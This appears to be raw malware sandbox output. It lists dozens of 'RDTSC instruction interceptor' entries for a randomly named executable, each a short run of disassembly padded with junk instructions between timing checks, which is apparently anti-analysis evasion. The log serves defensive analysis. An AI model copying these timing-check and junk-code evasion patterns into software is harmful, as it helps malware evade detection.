Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 784158 second address: 78416A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jbe 00007F772874F636h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78441B second address: 784435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E595Ah 0x00000009 pop esi 0x0000000a pushad 0x0000000b jg 00007F77291E5956h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 784435 second address: 78443B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78443B second address: 78445E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F77291E5958h 0x0000000e jmp 00007F77291E5963h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78445E second address: 784463 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7848A8 second address: 7848AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7848AC second address: 7848B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 784A36 second address: 784A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 784BD8 second address: 784BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 784BDD second address: 784BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 785342 second address: 785347 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 785347 second address: 78534D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78534D second address: 78537B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F772874F63Dh 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007F772874F636h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jnl 00007F772874F63Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 783927 second address: 78392D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78392D second address: 783957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F772874F645h 0x0000000a push edx 0x0000000b jmp 00007F772874F63Ch 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7891DB second address: 7891E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7891E1 second address: 7891E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7891E7 second address: 7891F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F77291E5956h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78CCFB second address: 78CCFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78CCFF second address: 78CD03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78CD03 second address: 78CD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F772874F642h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78CD1F second address: 78CD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F77291E595Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78CD31 second address: 78CD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78CD3C second address: 78CD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78F982 second address: 78F987 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78F987 second address: 78F99D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E5960h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 78F99D second address: 78F9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 79648F second address: 796495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 796495 second address: 7964C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F772874F644h 0x00000008 jmp 00007F772874F63Fh 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7964C6 second address: 7964CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7B9E4A second address: 7B9E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7B9E4E second address: 7B9E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7B9E54 second address: 7B9E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F772874F645h 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F772874F636h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7B9E7F second address: 7B9E8D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F77291E5956h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7B9E8D second address: 7B9E99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7B9E99 second address: 7B9EA3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F77291E5956h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BA22F second address: 7BA233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BA233 second address: 7BA23B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BA23B second address: 7BA245 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F772874F63Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BAE0D second address: 7BAE17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F77291E5956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BAE17 second address: 7BAE1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BE0C5 second address: 7BE0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jmp 00007F77291E5963h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BE0E1 second address: 7BE101 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F772874F64Ah 0x00000008 jmp 00007F772874F644h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BE101 second address: 7BE115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jp 00007F77291E5956h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BE115 second address: 7BE13B instructions: 0x00000000 rdtsc 0x00000002 js 00007F772874F650h 0x00000008 jmp 00007F772874F648h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7BDCAD second address: 7BDCB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7CA01E second address: 7CA028 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F772874F636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7CA028 second address: 7CA05E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5967h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F77291E5968h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7CC699 second address: 7CC6A1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7CC6A1 second address: 7CC6AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F77291E5956h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7CC6AC second address: 7CC6B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7CEA30 second address: 7CEA34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7D0D99 second address: 7D0D9E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7D0D9E second address: 7D0DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F77291E5966h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7D0DBF second address: 7D0DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7D0DC3 second address: 7D0DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F77291E5967h 0x0000000f pushad 0x00000010 jmp 00007F77291E5962h 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7D0DFB second address: 7D0E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7DF7DB second address: 7DF7EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jp 00007F77291E5956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7E175E second address: 7E177D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F772874F636h 0x0000000a pop edx 0x0000000b jmp 00007F772874F63Ah 0x00000010 pop edi 0x00000011 je 00007F772874F644h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FA6E6 second address: 7FA6F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F77291E5956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FA883 second address: 7FA889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FA889 second address: 7FA88D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FA88D second address: 7FA8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F772874F63Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FA9E9 second address: 7FAA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F77291E595Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FAA00 second address: 7FAA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FAA05 second address: 7FAA2E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F77291E5969h 0x00000008 je 00007F77291E5962h 0x0000000e jng 00007F77291E5956h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FAF3A second address: 7FAF3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FAF3F second address: 7FAF44 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB0B0 second address: 7FB0CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Eh 0x00000007 jp 00007F772874F636h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB0CE second address: 7FB0D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB0D2 second address: 7FB0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB0DA second address: 7FB104 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F77291E595Dh 0x00000008 jmp 00007F77291E5966h 0x0000000d pop ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB104 second address: 7FB10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB23A second address: 7FB240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB240 second address: 7FB244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB244 second address: 7FB24F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB24F second address: 7FB258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB258 second address: 7FB266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E595Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FB4E4 second address: 7FB4EE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F772874F636h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FE3D2 second address: 7FE3E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E595Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7FE3E0 second address: 7FE427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F648h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F772874F63Bh 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F772874F644h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 80109C second address: 8010A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 801371 second address: 80137C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F772874F636h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 80137C second address: 8013D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a or dword ptr [ebp+122D3505h], esi 0x00000010 add dword ptr [ebp+124692D8h], eax 0x00000016 push dword ptr [ebp+1245E05Ch] 0x0000001c mov dx, 930Eh 0x00000020 call 00007F77291E5959h 0x00000025 push ecx 0x00000026 je 00007F77291E5958h 0x0000002c pushad 0x0000002d popad 0x0000002e pop ecx 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 jmp 00007F77291E5969h 0x00000038 jng 00007F77291E5956h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA00F0 second address: 4EA010D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA010D second address: 4EA0189 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bx, D262h 0x0000000f pushfd 0x00000010 jmp 00007F77291E5963h 0x00000015 jmp 00007F77291E5963h 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F77291E5966h 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 call 00007F77291E595Eh 0x0000002a push eax 0x0000002b pop ebx 0x0000002c pop eax 0x0000002d mov eax, edx 0x0000002f popad 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 movzx eax, bx 0x00000037 mov al, bl 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EA0189 second address: 4EA0192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 85DAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80E91 second address: 4E80EC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F77291E5966h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov bx, 95D4h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80EC0 second address: 4E80EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80EC6 second address: 4E80EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 jmp 00007F77291E5965h 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F77291E595Dh 0x00000015 rdtsc
